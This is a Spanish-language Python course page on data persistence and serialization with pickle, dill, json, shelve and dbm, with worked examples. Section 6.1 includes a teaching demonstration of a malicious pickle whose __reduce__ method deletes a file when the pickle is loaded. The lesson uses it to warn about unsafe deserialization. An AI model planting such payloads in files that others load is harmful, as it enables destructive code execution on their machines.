Skip to article frontmatterSkip to article content
Site not loading correctly?

This may be due to an incorrect BASE_URL configuration. See the MyST Documentation for reference.

En programación, persistencia se refiere a la capacidad de un programa para almacenar datos más allá de su ejecución. Cuando un programa finaliza, normalmente los datos almacenados en memoria (RAM) se pierden. Para conservarlos, es necesario guardarlos en un medio de almacenamiento persistente como un archivo, una base de datos o la nube.

Ejemplos comunes de persistencia:

En general, para poder persistir datos de objetos en memoria, primero se deben serializar.

1¿Qué es la serialización?

La serialización es el proceso de convertir un objeto en memoria en una secuencia de bytes o en un formato estándar (como texto JSON), de modo que pueda:

En otras palabras:

Serialización
ObjetoBytes/Texto (para guardar o enviar).
Deserialización
Bytes/TextoObjeto en memoria

Sin serialización, no podríamos almacenar objetos vivos con un estado determinado por el valor de sus atributos y métodos en un momento dado.

2Persistencia y serialización en Python

Python incluye varios módulos que permiten serializar y persistir datos de manera sencilla. Los más conocidos son:

pickle
Serialización binaria de objetos de Python.
dill
Extensión de pickle con mayor cobertura de tipos.
json
Serialización en formato texto legible y estándar.

3Módulo pickle

pickle convierte objetos de Python en una representación binaria que puede guardarse en un archivo o transmitirse. No es interoperable con otros lenguajes, es decir los objetos serializados y persistidos con pickle no pueden ser leídos por programas en otros lenguajes.

Como se puede intuir, efectivamente constituye una brecha de seguridad cuando se usa fuera del ámbito de una computadora privada (en redes o en Internet, por ejemplo), ya que los datos pueden ser manipulados o leídos por terceros no autorizados.

Se puede hacer un pickle con:

import pickle


class Persona:
    def __init__(self, nombre):
        self.nombre = nombre

    def __str__(self):
        """Permite que al imprimir una instancia de Persona
        se muestre su nombre."""
        return self.nombre


if __name__ == "__main__":
    ana = Persona("Ana Suarez")
    juan = Persona("Juan Perez")
    carla = Persona("Carla Sanchez")

    with open(os.path.join(tmp_dir, "personas.p"), "wb") as contenedor:
        pickle.dump(ana, contenedor)
        pickle.dump(juan, contenedor)
        pickle.dump(carla, contenedor)

    with open(os.path.join(tmp_dir, "personas.p"), "rb") as contenedor:
        for linea in contenedor:
            print(linea)
            print()
Output
b'\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07Persona\x94\x93\x94)\x81\x94}\x94\x8c\x06nombre\x94\x8c\n'

b'Ana Suarez\x94sb.\x80\x04\x955\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07Persona\x94\x93\x94)\x81\x94}\x94\x8c\x06nombre\x94\x8c\n'

b'Juan Perez\x94sb.\x80\x04\x958\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07Persona\x94\x93\x94)\x81\x94}\x94\x8c\x06nombre\x94\x8c\rCarla Sanchez\x94sb.'

En el ejemplo anterior se crean tres personas y se serializan en un archivo utilizando el módulo pickle. Luego, se lee el archivo tal como está guardado, mostrando los bytes en su forma cruda. Para deserializar los objetos, se debe usar pickle.load() en lugar de intentar leer el archivo directamente. pickle.load() se encarga de reconstruir el objeto original a partir de su representación en bytes.

import pickle

lista = []

with open(os.path.join(tmp_dir, "personas.p"), "rb") as contenedor:
    try:
        while contenedor:
            obj = pickle.load(contenedor)
            lista.append(obj)
    except EOFError:
        pass
    except:
        raise

for p in lista:
    print(f"Persona: {p}. Tipo: {type(p)}")
Output
Persona: Ana Suarez. Tipo: <class '__main__.Persona'>
Persona: Juan Perez. Tipo: <class '__main__.Persona'>
Persona: Carla Sanchez. Tipo: <class '__main__.Persona'>

Ahora se modifica la clase Persona, se elimina el atributo nombre y se agrega el atributo dni.

import pickle


class Persona:
    """Nueva versión de la clase Persona, se agrega el atributo dni y el método
    get_dni"""

    def __init__(self, dni=""):
        self.dni = dni

    def __str__(self):
        """Permite que al imprimir una instancia de Persona se muestre su
        dni."""

        return self.dni

    def get_dni(self):
        return self.dni


lista = []

with open(os.path.join(tmp_dir, "personas.p"), "rb") as contenedor:
    try:
        while contenedor:
            obj = pickle.load(contenedor)
            lista.append(obj)
    except EOFError:
        pass
    except:
        raise

ana = lista[0]
juan = lista[1]
carla = lista[2]

for atributo, valor in vars(ana).items():
    print(atributo + ": " + valor)
Output
nombre: Ana Suarez

Vemos que debido a que Python es un lenguaje dinámico no tiene ningún problema en leer los objetos del archivo y recrearlos en memoria como fueron serializados, aún después de que la clase Persona ha cambiado. Esto es posible porque pickle almacena la información necesaria para reconstruir el objeto, incluyendo su estructura y atributos, lo que permite que los cambios en la implementación de la clase no afecten la capacidad de deserializar objetos previamente serializados. Sin embargo, es importante tener en cuenta que si se eliminan atributos o se cambian sus tipos, esto puede causar problemas al intentar acceder a esos atributos en objetos deserializados.

3.1Algunos detalles de la serialización con pickle

3.2Funciones más usadas con pickle

4Funciones más usadas del módulo pickle

Función / ElementoDescripción breveDocumentación oficial (español)
pickle.dumpSerializa un objeto y lo escribe en el archivo binario. Permite opcionalmente especificar el protocolo de serialización.Documentación de dump
pickle.dumpsSerializa un objeto, retornándolo como un objeto bytes. Ideal para enviar por red o guardar en memoria.Documentación de dumps
pickle.loadLee datos serializados desde un archivo binario y reconstruye el objeto original.Documentación de load
pickle.loadsReconstruye un objeto Python a partir de datos serializados en bytes.Documentación de loads
pickle.PicklerClase que serializa objetos en un flujo controlado. Permite mayor control sobre el proceso de serialización.Documentación de Pickler
pickle.UnpicklerClase que deserializa objetos desde un flujo de datos. Proporciona control avanzado sobre el proceso de deserialización.Documentación de Unpickler
Excepciones (PickleError, PicklingError, UnpicklingError)Clases de excepciones específicas para errores durante la serialización y deserialización.Documentación de excepciones en pickle

5Módulo dill

El módulo dill es una extensión del módulo pickle que permite la serialización de una gama más amplia de objetos de Python, incluyendo funciones, funciones lambda, clases y módulos. Esto lo hace especialmente útil en situaciones donde se necesita serializar objetos más complejos que no son compatibles con pickle.

dill no es un módulo estándar de Python. Para utilizarlo, primero hay que instalarlo:

pip install dill

A continuación se serializa y persiste una función que en cuya clausura se encuentra un mensaje cifrado y la clave para descifrarlo.

import dill


def cifrar_mensaje(msj, password):
    def descifrar(x):
        if x == password:
            return msj
        else:
            return None

    return descifrar


mensaje_cifrado = cifrar_mensaje("Este es el mensaje cifrado", "secreto")

with open(os.path.join(tmp_dir, "msj_cifrado.dill"), "wb") as contenedor:
    dill.dump(mensaje_cifrado, contenedor)

Si leemos el archivo creado msj_cifrado.dill, veremos que contiene una representación binaria del objeto serializado, que incluye la función descifrar y su clausura con el mensaje y la clave.

b'\x80\x04\x95\xef\x01\x00\x00\x00\x00\x00\x00\x8c\n'
b'dill._dill\x94\x8c\x10_create_function\x94\x93\x94(h\x00\x8c\x0c_create_code\x94\x93\x94(C\x06\x04\x01\x0c\x01\x04\x02\x94K\x01K\x00K\x00K\x01K\x02K\x13C\x16>\x02\x95\x00U\x00T\x02:X\x00\x00a\x02\x00\x00T\x01$\x00g\x00\x94N\x85\x94)\x8c\x01x\x94\x85\x94\x8c"/tmp/ipykernel_22388/1380843275.py\x94\x8c\tdescifrar\x94\x8c!cifrar_mensaje.<locals>.descifrar\x94K\x04C\x12\xf8\x80\x00\xd8\x0b\x0c\x90\x08\x8b=\xd8\x13\x16\x88J\xe0\x13\x17\x94C\x00\x94\x8c\x03msj\x94\x8c\x08password\x94\x86\x94)t\x94R\x94c__builtin__\n'
b'__main__\n'
b'h\x0bNh\x00\x8c\x0c_create_cell\x94\x93\x94N\x85\x94R\x94h\x15N\x85\x94R\x94\x86\x94t\x94R\x94}\x94}\x94(\x8c\x0f__annotations__\x94}\x94\x8c\x0c__qualname__\x94h\x0cu\x86\x94b\x8c\x08builtins\x94\x8c\x07getattr\x94\x93\x94\x8c\x04dill\x94\x8c\x05_dill\x94\x93\x94\x8c\x08_setattr\x94h#\x8c\x07setattr\x94\x93\x94\x87\x94R\x94h\x19\x8c\rcell_contents\x94\x8c\x07secreto\x94\x87\x94R0h-h\x17h.\x8c\x1aEste es el mensaje cifrado\x94\x87\x94R0.'
import dill

with open(os.path.join(tmp_dir, "msj_cifrado.dill"), "rb") as contenedor:
    mensaje_cifrado = dill.load(contenedor)

print(mensaje_cifrado("incorrecto"))
print(mensaje_cifrado("secreto"))
Output
None
Este es el mensaje cifrado

6Serialización de objetos y la seguridad de la información

6.1Ejemplo de riesgo de seguridad

A continuación se crea un archivo log.log en el directorio de trabajo actual para graficar como se puede ejecutar código malicioso.

with open(os.path.join(tmp_dir, "log.log"), "w") as f:
    f.write("Este es un archivo de registro.\n")
    f.write("La información registrada es muy sensible y se debe resguardar\n")

Podemos ver que el archivo existe y se puede leer.

with open(os.path.join(tmp_dir, "log.log"), "r") as f:
    contenido = f.read()
    print(contenido)
Output
Este es un archivo de registro.
La información registrada es muy sensible y se debe resguardar

A continuación se crea un pickle con un objeto malicioso que ejecuta un comando.

# Este código simula la creación de un archivo malicioso que borra log.log
import pickle
import os


class Malicioso:
    def __reduce__(self):
        return (os.remove, (os.path.join(tmp_dir, "log.log"),))


# Serializa el objeto malicioso
with open(os.path.join(tmp_dir, "malicioso.p"), "wb") as f:
    pickle.dump(Malicioso(), f)

Si alguien deserializa este archivo sin saber su contenido borra el archivo log.log.

import pickle

with open(os.path.join(tmp_dir, "malicioso.p"), "rb") as f:
    obj = pickle.load(f)  # Esto borra log.log

Al intentar leer de nuevo el archivo log.log vemos que no existe más

with open(os.path.join(tmp_dir, "log.log"), "r") as f:
    contenido = f.read()
    print(contenido)
---------------------------------------------------------------------------
FileNotFoundError                         Traceback (most recent call last)
Cell In[11], line 1
----> 1 with open(os.path.join(tmp_dir, "log.log"), "r") as f:
      2     contenido = f.read()
      3     print(contenido)

FileNotFoundError: [Errno 2] No such file or directory: '/tmp/edd_persistencia/log.log'

6.2Funciones más usadas del módulo dill

Función / ElementoDescripción breveDocumentación oficial (inglés)
dill.dumpSerializa un objeto y lo escribe en el archivo binario. A diferencia de pickle, soporta funciones, lambdas, generadores y más.Documentación de dump
dill.dumpsSerializa un objeto y lo devuelve como bytes. Soporta más tipos de Python que pickle.Documentación de dumps
dill.loadLee datos serializados desde un archivo binario y reconstruye el objeto original. Puede restaurar funciones y objetos complejos.Documentación de load
dill.loadsReconstruye un objeto Python a partir de datos serializados en bytes.Documentación de loads
dill.dump_sessionGuarda el estado completo de la sesión interactiva de Python (variables, funciones, imports) en un archivo.Documentación de dump_session
dill.load_sessionRestaura una sesión previamente guardada con dump_session. Muy útil en debugging y experimentación.Documentación de load_session
dill.detect.tracePermite depurar el proceso de serialización mostrando qué objetos pueden o no serializarse.Documentación de detect
Excepciones (PickleError, PicklingError, UnpicklingError)dill reutiliza las mismas excepciones que pickle para manejar errores durante la serialización y deserialización.Documentación de excepciones en pickle

7Módulo json

El módulo json se basa en el estandar JSON y presenta un enfoque diferente al de pickle y dill, ya que se basa en texto plano y no permite la ejecución de código al deserializar. Esto lo convierte en una opción más segura para la serialización y el intercambio de datos simples, como diccionarios y listas. Los archivos JSON son legibles por humanos y pueden ser fácilmente compartidos entre diferentes lenguajes de programación.

Características principales de JSON:

Objetos
Se representan como pares clave-valor ({"clave": "valor"}).
Arreglos
Se representan como listas ordenadas de elementos (["valor1", "valor2", "valorN"]).
Valores primitivos
Se representan como números, cadenas, booleanos (true, false) y null para None.

7.1Ejemplo de uso de json

import json

# Datos a serializar
datos = {"nombre": "Juan", "edad": 30, "ciudad": "Madrid"}

# Serializar a JSON
with open(os.path.join(tmp_dir, "datos.json"), "w") as f:
    json.dump(datos, f)

# leer el archivo como texto
with open(os.path.join(tmp_dir, "datos.json"), "r") as f:
    contenido = f.read()
    print(contenido)
Output
{"nombre": "Juan", "edad": 30, "ciudad": "Madrid"}
# Deserializar de JSON
with open(os.path.join(tmp_dir, "datos.json"), "r") as f:
    datos_cargados = json.load(f)
    print(datos_cargados)
Output
{'nombre': 'Juan', 'edad': 30, 'ciudad': 'Madrid'}

Un archivo JSON solo puede contener un único valor (ya sea un número, un string, un diccionario, una lista u otro tipo de dato), por lo que si hay que guardar múltiples valores se podrían agrupar en una lista.

import json

usuarios = [
    {"nombre": "Ana", "edad": 25},
    {"nombre": "Luis", "edad": 30},
    {"nombre": "Marta", "edad": 28},
]

# Guardamos todo en un solo archivo JSON
with open(os.path.join(tmp_dir, "usuarios.json"), "w") as f:
    json.dump(usuarios, f, indent=4)

# Recuperamos
with open(os.path.join(tmp_dir, "usuarios.json"), "r") as f:
    lista_usuarios = json.load(f)

print(lista_usuarios)
print(lista_usuarios[0]["nombre"])  # Acceso al primer usuario
Output
[{'nombre': 'Ana', 'edad': 25}, {'nombre': 'Luis', 'edad': 30}, {'nombre': 'Marta', 'edad': 28}]
Ana

7.2Funciones más usadas del módulo json

Función / ElementoDescripción breveDocumentación oficial (español)
json.dumpSerializa un objeto Python y lo escribe en un archivo en formato JSON. Opcionalmente permite configurar indentación y codificación.Documentación de dump
json.dumpsSerializa un objeto Python y lo devuelve como una cadena de texto JSON.Documentación de dumps
json.loadLee un archivo JSON y lo convierte en el objeto Python correspondiente (diccionarios, listas, etc.).Documentación de load
json.loadsConvierte una cadena de texto JSON en el objeto Python correspondiente.Documentación de loads
json.JSONEncoderClase que define cómo convertir objetos Python en JSON. Se puede extender para serializar tipos personalizados.Documentación de JSONEncoder
json.JSONDecoderClase que define cómo convertir JSON en objetos Python. Se puede extender para deserializar estructuras personalizadas.Documentación de JSONDecoder
Excepciones (JSONDecodeError)Excepción que se lanza cuando un documento JSON no tiene el formato correcto.Documentación de JSONDecodeError

8Tabla comparativa: pickle vs dill vs json

Característicapickledilljson
FormatoBinarioBinarioTexto (legible por humanos)
CompatibilidadSolo PythonSolo PythonMultilenguaje (estándar mundial)
Tipos soportadosObjetos de Python (casi todos)Objetos de Python (incluye funciones, lambdas, generadores)Tipos básicos (dict, list, str, int, float, bool, null)
Seguridad al deserializarRiesgo de ejecutar código maliciosoRiesgo de ejecutar código maliciosoSeguro (no ejecuta código)
LegibilidadNo legible (binario)No legible (binario)Legible (formato JSON)
Usos comunesPersistencia local de objetosPersistencia avanzada, guardar funcionesIntercambio de datos entre sistemas, APIs
Ventaja principalFácil y rápido para PythonMás flexible que pickleEstándar universal, interoperable
Desventaja principalNo interoperable, inseguroIgual que pickle (pero más pesado)No soporta objetos complejos de Python

9Organización de los datos

Si bien pickle y dill permiten guardar objetos complejos de Python, y json se limita a estructuras de datos más simples, en todos los casos los datos se almacenan como un único objeto serializado por archivo. Esto funciona bien para persistir estructuras completas (listas, diccionarios, clases), pero puede resultar incómodo cuando se quiere manejar una colección de objetos con acceso directo mediante una clave.

Para resolver esto, Python ofrece módulos como shelve y dbm, que permiten organizar la información de manera similar a una base de datos ligera de pares clave-valor, sin necesidad de instalar un gestor externo.

shelve
Permite almacenar objetos de Python en un archivo de forma similar a un diccionario persistente. Se accede a los datos por clave, y cada valor puede ser un objeto complejo serializado automáticamente con pickle. Es muy útil cuando se quieren mantener estructuras de datos de Python sin necesidad de escribir el proceso de serialización/deserialización manualmente.
dbm
Proporciona acceso a una familia de bases de datos simples, en las que cada clave se asocia a un valor binario. A diferencia de shelve, en dbm tanto las claves como los valores deben ser cadenas de bytes (bytes). Es más básico y portable, pero no admite directamente objetos de Python, sólo datos crudos en forma de texto o binario.

10Módulo shelve

Un shelve actúa como un diccionario persistente en disco, permitiendo almacenar y recuperar objetos de Python utilizando claves. Esto facilita la gestión de colecciones de objetos sin necesidad de preocuparse por la serialización manual.

import shelve

# Abrir (o crear) una "base de datos"
with shelve.open(os.path.join(tmp_dir, "estudiantes.db")) as db:
    db["123"] = {"nombre": "Ana", "carrera": "Ingeniería Informática"}
    db["456"] = {"nombre": "Luis", "carrera": "Computación"}

# Recuperar los datos
with shelve.open(os.path.join(tmp_dir, "estudiantes.db")) as db:
    print(db["123"])  # {'nombre': 'Ana', 'carrera': 'Ingeniería Informática'}
Output
{'nombre': 'Ana', 'carrera': 'Ingeniería Informática'}

10.1Ventajas de shelve

10.2Limitaciones

11Módulo dbm

El módulo dbm implementa una base de datos clave-valor simple, con distintas variantes (dbm.gnu, dbm.ndbm, etc.) dependiendo del sistema. Cada entrada se almacena como una clave y un valor, ambos en forma de cadenas de bytes. Esto lo hace más ligero y portable, pero también más limitado en cuanto a los tipos de datos que puede manejar.

import dbm

# Crear y guardar pares clave-valor
with dbm.open(os.path.join(tmp_dir, "usuarios"), "c") as db:
    db["ana"] = "ingenieria"
    db["luis"] = "computacion"

# Recuperar datos
with dbm.open(os.path.join(tmp_dir, "usuarios"), "r") as db:
    print(db["ana"].decode("utf-8"))  # "ingenieria"
    print(db["luis"].decode("utf-8"))  # "computacion"
Output
ingenieria
computacion

11.1Ventajas de dbm

11.2Limitaciones de dbm

12Ejemplo de una agenda con shelve y pickle

Ejemplo de una agenda simple que permite gestionar contactos con nombre, apellido, correos electrónicos y teléfonos. Para copiar, modificar y ejecutar:

agenda.py
"""
Agenda persistente usando shelve y pickle.

Permite agregar, buscar y eliminar contactos con múltiples teléfonos y correos.
"""

import shelve
import pickle


class Contacto:
    """
    Representa un contacto de la agenda.

    Atributos:
        nombre (str)
        apellido (str)
        correos (list[str])
        telefonos (list[str])
    """

    def __init__(self, nombre, apellido, correos=None, telefonos=None):
        self.nombre = nombre
        self.apellido = apellido
        self.correos = correos if correos else []
        self.telefonos = telefonos if telefonos else []

    def __str__(self):
        return (
            f"{self.nombre} {self.apellido}\n"
            f"  Correos: {', '.join(self.correos)}\n"
            f"  Teléfonos: {', '.join(self.telefonos)}"
        )


def agregar_contacto(agenda, contacto):
    """Agrega un contacto a la agenda usando nombre+apellido como clave."""
    clave = f"{contacto.nombre.lower()}_{contacto.apellido.lower()}"
    agenda[clave] = pickle.dumps(contacto)
    print("Contacto agregado.")


def buscar_contacto(agenda, nombre, apellido):
    """Busca un contacto por nombre y apellido."""
    clave = f"{nombre.lower()}_{apellido.lower()}"
    if clave in agenda:
        contacto = pickle.loads(agenda[clave])
        print(contacto)
    else:
        print("Contacto no encontrado.")


def eliminar_contacto(agenda, nombre, apellido):
    """Elimina un contacto por nombre y apellido."""
    clave = f"{nombre.lower()}_{apellido.lower()}"
    if clave in agenda:
        del agenda[clave]
        print("Contacto eliminado.")
    else:
        print("Contacto no encontrado.")


def listar_agenda(agenda):
    """Muestra todos los contactos de la agenda."""
    if not agenda:
        print("Agenda vacía.")
        return
    for clave in agenda:
        contacto = pickle.loads(agenda[clave])
        print(contacto)
        print("-" * 30)


def menu():
    """
    Muestra el menú principal de la agenda.
    """
    with shelve.open("agenda_db") as agenda:
        while True:
            print("\n--- Agenda ---")
            print("1. Agregar contacto")
            print("2. Buscar contacto")
            print("3. Eliminar contacto")
            print("4. Listar agenda")
            print("0. Salir")
            opcion = input("Opción: ")
            if opcion == "1":
                nombre = input("Nombre: ")
                apellido = input("Apellido: ")
                correos = input("Correos (separados por coma): ").split(",")
                telefonos = input("Teléfonos (separados por coma): ").split(",")
                contacto = Contacto(
                    nombre,
                    apellido,
                    [c.strip() for c in correos if c.strip()],
                    [t.strip() for t in telefonos if t.strip()],
                )
                agregar_contacto(agenda, contacto)
            elif opcion == "2":
                nombre = input("Nombre: ")
                apellido = input("Apellido: ")
                buscar_contacto(agenda, nombre, apellido)
            elif opcion == "3":
                nombre = input("Nombre: ")
                apellido = input("Apellido: ")
                eliminar_contacto(agenda, nombre, apellido)
            elif opcion == "4":
                listar_agenda(agenda)
            elif opcion == "0":
                print("Saliendo...")
                break
            else:
                print("Opción inválida.")


if __name__ == "__main__":
    menu()

13Recursos para profundizar